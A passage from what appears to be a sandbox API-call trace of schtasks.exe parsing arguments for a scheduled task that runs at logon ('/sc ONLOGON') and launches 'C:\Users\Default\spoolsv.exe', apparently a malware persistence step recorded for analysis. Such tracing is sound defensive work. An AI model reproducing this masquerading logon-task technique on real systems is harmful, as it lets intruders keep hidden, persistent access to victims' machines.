_Buffer="|sc|") returned 4 [0159.950] lstrlenW (lpString="|sc|") returned 4 [0159.950] lstrlenW (lpString="|sc|") returned 4 [0159.950] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0159.950] SetLastError (dwErrCode=0x0) [0159.950] SetLastError (dwErrCode=0x0) [0159.950] lstrlenW (lpString="ONLOGON") returned 7 [0159.950] lstrlenW (lpString="-/") returned 2 [0159.950] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0159.950] SetLastError (dwErrCode=0x490) [0159.950] SetLastError (dwErrCode=0x490) [0159.950] SetLastError (dwErrCode=0x0) [0159.950] lstrlenW (lpString="ONLOGON") returned 7 [0159.950] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0159.950] SetLastError (dwErrCode=0x490) [0159.950] SetLastError (dwErrCode=0x0) [0159.950] GetProcessHeap () returned 0x230000 [0159.950] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24d490 [0159.951] _memicmp (_Buf1=0x24d490, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.951] lstrlenW (lpString="ONLOGON") returned 7 [0159.951] GetProcessHeap () returned 0x230000 [0159.951] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x10) returned 0x24d550 [0159.951] lstrlenW (lpString="ONLOGON") returned 7 [0159.951] lstrlenW (lpString=" \x09") returned 2 [0159.951] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0159.951] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0159.951] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0159.951] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0159.951] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0159.951] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0159.951] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0159.951] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0159.951] GetLastError () returned 0x0 [0159.951] lstrlenW (lpString="ONLOGON") returned 7 [0159.951] lstrlenW (lpString="ONLOGON") returned 7 [0159.951] SetLastError (dwErrCode=0x0) [0159.951] SetLastError (dwErrCode=0x0) [0159.951] lstrlenW (lpString="/tr") returned 3 [0159.951] lstrlenW (lpString="-/") returned 2 [0159.951] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.951] lstrlenW (lpString="create") returned 6 [0159.951] lstrlenW (lpString="create") returned 6 [0159.951] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.951] lstrlenW (lpString="tr") returned 2 [0159.951] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.952] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|create|") returned 8 [0159.952] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.952] lstrlenW (lpString="|create|") returned 8 [0159.952] lstrlenW (lpString="|tr|") returned 4 [0159.952] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0159.952] SetLastError (dwErrCode=0x490) [0159.952] lstrlenW (lpString="?") returned 1 [0159.952] lstrlenW (lpString="?") returned 1 [0159.952] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.952] lstrlenW (lpString="tr") returned 2 [0159.952] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.952] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|?|") returned 3 [0159.952] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.952] lstrlenW (lpString="|?|") returned 3 [0159.952] lstrlenW (lpString="|tr|") returned 4 [0159.952] SetLastError (dwErrCode=0x490) [0159.952] lstrlenW (lpString="s") returned 1 [0159.952] lstrlenW (lpString="s") returned 1 [0159.952] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.952] lstrlenW (lpString="tr") returned 2 [0159.952] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.952] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|s|") returned 3 [0159.952] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.952] lstrlenW (lpString="|s|") returned 3 [0159.952] lstrlenW (lpString="|tr|") returned 4 [0159.952] SetLastError (dwErrCode=0x490) [0159.953] lstrlenW (lpString="u") returned 1 [0159.953] lstrlenW (lpString="u") returned 1 [0159.953] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.953] lstrlenW (lpString="tr") returned 2 [0159.953] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.953] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|u|") returned 3 [0159.953] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.953] lstrlenW (lpString="|u|") returned 3 [0159.953] lstrlenW (lpString="|tr|") returned 4 [0159.953] SetLastError (dwErrCode=0x490) [0159.953] lstrlenW (lpString="p") returned 1 [0159.953] lstrlenW (lpString="p") returned 1 [0159.953] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.953] lstrlenW (lpString="tr") returned 2 [0159.953] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.953] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|p|") returned 3 [0159.953] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.953] lstrlenW (lpString="|p|") returned 3 [0159.953] lstrlenW (lpString="|tr|") returned 4 [0159.953] SetLastError (dwErrCode=0x490) [0159.953] lstrlenW (lpString="ru") returned 2 [0159.953] lstrlenW (lpString="ru") returned 2 [0159.953] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.953] lstrlenW (lpString="tr") returned 2 [0159.954] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.954] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|ru|") returned 4 [0159.954] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.954] lstrlenW (lpString="|ru|") returned 4 [0159.954] lstrlenW (lpString="|tr|") returned 4 [0159.954] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0159.954] SetLastError (dwErrCode=0x490) [0159.954] lstrlenW (lpString="rp") returned 2 [0159.954] lstrlenW (lpString="rp") returned 2 [0159.954] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.954] lstrlenW (lpString="tr") returned 2 [0159.954] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.954] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rp|") returned 4 [0159.954] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.954] lstrlenW (lpString="|rp|") returned 4 [0159.954] lstrlenW (lpString="|tr|") returned 4 [0159.954] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0159.954] SetLastError (dwErrCode=0x490) [0159.954] lstrlenW (lpString="sc") returned 2 [0159.954] lstrlenW (lpString="sc") returned 2 [0159.954] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.954] lstrlenW (lpString="tr") returned 2 [0159.954] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.955] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.955] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.955] lstrlenW (lpString="|sc|") returned 4 [0159.955] lstrlenW (lpString="|tr|") returned 4 [0159.955] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0159.955] SetLastError (dwErrCode=0x490) [0159.955] lstrlenW (lpString="mo") returned 2 [0159.955] lstrlenW (lpString="mo") returned 2 [0159.955] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.955] lstrlenW (lpString="tr") returned 2 [0159.955] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.955] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|mo|") returned 4 [0159.955] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.955] lstrlenW (lpString="|mo|") returned 4 [0159.955] lstrlenW (lpString="|tr|") returned 4 [0159.955] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0159.955] SetLastError (dwErrCode=0x490) [0159.955] lstrlenW (lpString="d") returned 1 [0159.955] lstrlenW (lpString="d") returned 1 [0159.955] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.956] lstrlenW (lpString="tr") returned 2 [0159.956] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.956] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|d|") returned 3 [0159.956] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.956] lstrlenW (lpString="|d|") returned 3 [0159.956] lstrlenW (lpString="|tr|") returned 4 [0159.956] SetLastError (dwErrCode=0x490) [0159.956] lstrlenW (lpString="m") returned 1 [0159.956] lstrlenW (lpString="m") returned 1 [0159.956] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.956] lstrlenW (lpString="tr") returned 2 [0159.956] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.956] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|m|") returned 3 [0159.956] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.956] lstrlenW (lpString="|m|") returned 3 [0159.956] lstrlenW (lpString="|tr|") returned 4 [0159.956] SetLastError (dwErrCode=0x490) [0159.956] lstrlenW (lpString="i") returned 1 [0159.956] lstrlenW (lpString="i") returned 1 [0159.956] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.956] lstrlenW (lpString="tr") returned 2 [0159.956] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.957] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|i|") returned 3 [0159.957] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.957] lstrlenW (lpString="|i|") returned 3 [0159.957] lstrlenW (lpString="|tr|") returned 4 [0159.957] SetLastError (dwErrCode=0x490) [0159.957] lstrlenW (lpString="tn") returned 2 [0159.957] lstrlenW (lpString="tn") returned 2 [0159.957] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.957] lstrlenW (lpString="tr") returned 2 [0159.957] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.957] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tn|") returned 4 [0159.957] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.957] lstrlenW (lpString="|tn|") returned 4 [0159.957] lstrlenW (lpString="|tr|") returned 4 [0159.957] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0159.957] SetLastError (dwErrCode=0x490) [0159.957] lstrlenW (lpString="tr") returned 2 [0159.957] lstrlenW (lpString="tr") returned 2 [0159.957] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.957] lstrlenW (lpString="tr") returned 2 [0159.957] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.957] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.957] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|tr|") returned 4 [0159.957] lstrlenW (lpString="|tr|") returned 4 [0159.958] lstrlenW (lpString="|tr|") returned 4 [0159.958] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0159.958] SetLastError (dwErrCode=0x0) [0159.958] SetLastError (dwErrCode=0x0) [0159.958] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.958] lstrlenW (lpString="-/") returned 2 [0159.958] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0159.958] SetLastError (dwErrCode=0x490) [0159.958] SetLastError (dwErrCode=0x490) [0159.958] SetLastError (dwErrCode=0x0) [0159.958] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.958] StrChrIW (lpStart="'C:\\Users\\Default\\spoolsv.exe'", wMatch=0x3a) returned=":\\Users\\Default\\spoolsv.exe'" [0159.958] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.958] _memicmp (_Buf1=0x24d4d0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.958] _memicmp (_Buf1=0x24d510, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.958] SetLastError (dwErrCode=0x7a) [0159.958] SetLastError (dwErrCode=0x0) [0159.958] SetLastError (dwErrCode=0x0) [0159.958] lstrlenW (lpString="'C") returned 2 [0159.958] lstrlenW (lpString="-/") returned 2 [0159.958] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0159.958] SetLastError (dwErrCode=0x490) [0159.958] SetLastError (dwErrCode=0x490) [0159.958] SetLastError (dwErrCode=0x0) [0159.958] _memicmp (_Buf1=0x24d490, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.958] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.958] GetProcessHeap () returned 0x230000 [0159.959] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d550) returned 1 [0159.959] GetProcessHeap () returned 0x230000 [0159.959] RtlReAllocateHeap (Heap=0x230000, Flags=0xc, Ptr=0x24d550, Size=0x3e) returned 0x2492c0 [0159.959] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.959] lstrlenW (lpString=" \x09") returned 2 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0159.959] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0159.960] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0159.960] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0159.960] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0159.960] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0159.960] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0159.960] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0159.960] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0159.960] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0159.960] GetLastError () returned 0x0 [0159.960] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.960] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.960] SetLastError (dwErrCode=0x0) [0159.960] SetLastError (dwErrCode=0x0) [0159.960] lstrlenW (lpString="/rl") returned 3 [0159.960] lstrlenW (lpString="-/") returned 2 [0159.960] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.960] lstrlenW (lpString="create") returned 6 [0159.960] lstrlenW (lpString="create") returned 6 [0159.960] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.960] lstrlenW (lpString="rl") returned 2 [0159.960] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.960] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|create|") returned 8 [0159.960] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.960] lstrlenW (lpString="|create|") returned 8 [0159.960] lstrlenW (lpString="|rl|") returned 4 [0159.961] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0159.961] SetLastError (dwErrCode=0x490) [0159.961] lstrlenW (lpString="?") returned 1 [0159.961] lstrlenW (lpString="?") returned 1 [0159.961] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.961] lstrlenW (lpString="rl") returned 2 [0159.961] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.961] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|?|") returned 3 [0159.961] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.961] lstrlenW (lpString="|?|") returned 3 [0159.961] lstrlenW (lpString="|rl|") returned 4 [0159.961] SetLastError (dwErrCode=0x490) [0159.961] lstrlenW (lpString="s") returned 1 [0159.961] lstrlenW (lpString="s") returned 1 [0159.961] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.961] lstrlenW (lpString="rl") returned 2 [0159.961] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.961] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|s|") returned 3 [0159.961] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.961] lstrlenW (lpString="|s|") returned 3 [0159.961] lstrlenW (lpString="|rl|") returned 4 [0159.961] SetLastError (dwErrCode=0x490) [0159.961] lstrlenW (lpString="u") returned 1 [0159.961] lstrlenW (lpString="u") returned 1 [0159.961] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.962] lstrlenW (lpString="rl") returned 2 [0159.962] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.962] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|u|") returned 3 [0159.962] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.962] lstrlenW (lpString="|u|") returned 3 [0159.962] lstrlenW (lpString="|rl|") returned 4 [0159.962] SetLastError (dwErrCode=0x490) [0159.962] lstrlenW (lpString="p") returned 1 [0159.962] lstrlenW (lpString="p") returned 1 [0159.962] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.962] lstrlenW (lpString="rl") returned 2 [0159.962] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.962] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|p|") returned 3 [0159.962] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.962] lstrlenW (lpString="|p|") returned 3 [0159.962] lstrlenW (lpString="|rl|") returned 4 [0159.962] SetLastError (dwErrCode=0x490) [0159.962] lstrlenW (lpString="ru") returned 2 [0159.962] lstrlenW (lpString="ru") returned 2 [0159.962] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.962] lstrlenW (lpString="rl") returned 2 [0159.962] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.962] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|ru|") returned 4 [0159.962] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.963] lstrlenW (lpString="|ru|") returned 4 [0159.963] lstrlenW (lpString="|rl|") returned 4 [0159.963] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0159.963] SetLastError (dwErrCode=0x490) [0159.963] lstrlenW (lpString="rp") returned 2 [0159.963] lstrlenW (lpString="rp") returned 2 [0159.963] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.963] lstrlenW (lpString="rl") returned 2 [0159.963] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.963] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rp|") returned 4 [0159.963] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.963] lstrlenW (lpString="|rp|") returned 4 [0159.963] lstrlenW (lpString="|rl|") returned 4 [0159.963] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0159.963] SetLastError (dwErrCode=0x490) [0159.963] lstrlenW (lpString="sc") returned 2 [0159.963] lstrlenW (lpString="sc") returned 2 [0159.963] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.963] lstrlenW (lpString="rl") returned 2 [0159.963] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.963] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sc|") returned 4 [0159.963] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.963] lstrlenW (lpString="|sc|") returned 4 [0159.963] lstrlenW (lpString="|rl|") returned 4 [0159.963] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0159.963] SetLastError (dwErrCode=0x490) [0159.964] lstrlenW (lpString="mo") returned 2 [0159.964] lstrlenW (lpString="mo") returned 2 [0159.964] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.964] lstrlenW (lpString="rl") returned 2 [0159.964] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.964] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|mo|") returned 4 [0159.964] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.964] lstrlenW (lpString="|mo|") returned 4 [0159.964] lstrlenW (lpString="|rl|") returned 4 [0159.964] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0159.964] SetLastError (dwErrCode=0x490) [0159.964] lstrlenW (lpString="d") returned 1 [0159.964] lstrlenW (lpString="d") returned 1 [0159.964] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.964] lstrlenW (lpString="rl") returned 2 [0159.964] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.964] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|d|") returned 3 [0159.964] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.964] lstrlenW (lpString="|d|") returned 3 [0159.964] lstrlenW (lpString="|rl|") returned 4 [0159.964] SetLastError (dwErrCode=0x490) [0159.964] lstrlenW (lpString="m") returned 1 [0159.964] lstrlenW (lpString="m") returned 1 [0159.964] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.965] lstrlenW (lpString="rl") returned 2 [0159.965] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.965] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|m|") returned 3 [0159.965] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|rl|") returned 4 [0159.965] lstrlenW (lpString="|m|") returned 3 [0159.965] lstrlenW (lpString="|rl|") returned 4 [0159.965] SetLastError (dwErrCode=0x490) [0159.965] lstrlenW (lpString="i") returned 1 [0159.965] lstrlenW (lpString="i") returned 1 [0159.965] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.965] lstrlenW (lpString="rl") returned 2 [0159.965] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.965] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|i|") returned 3 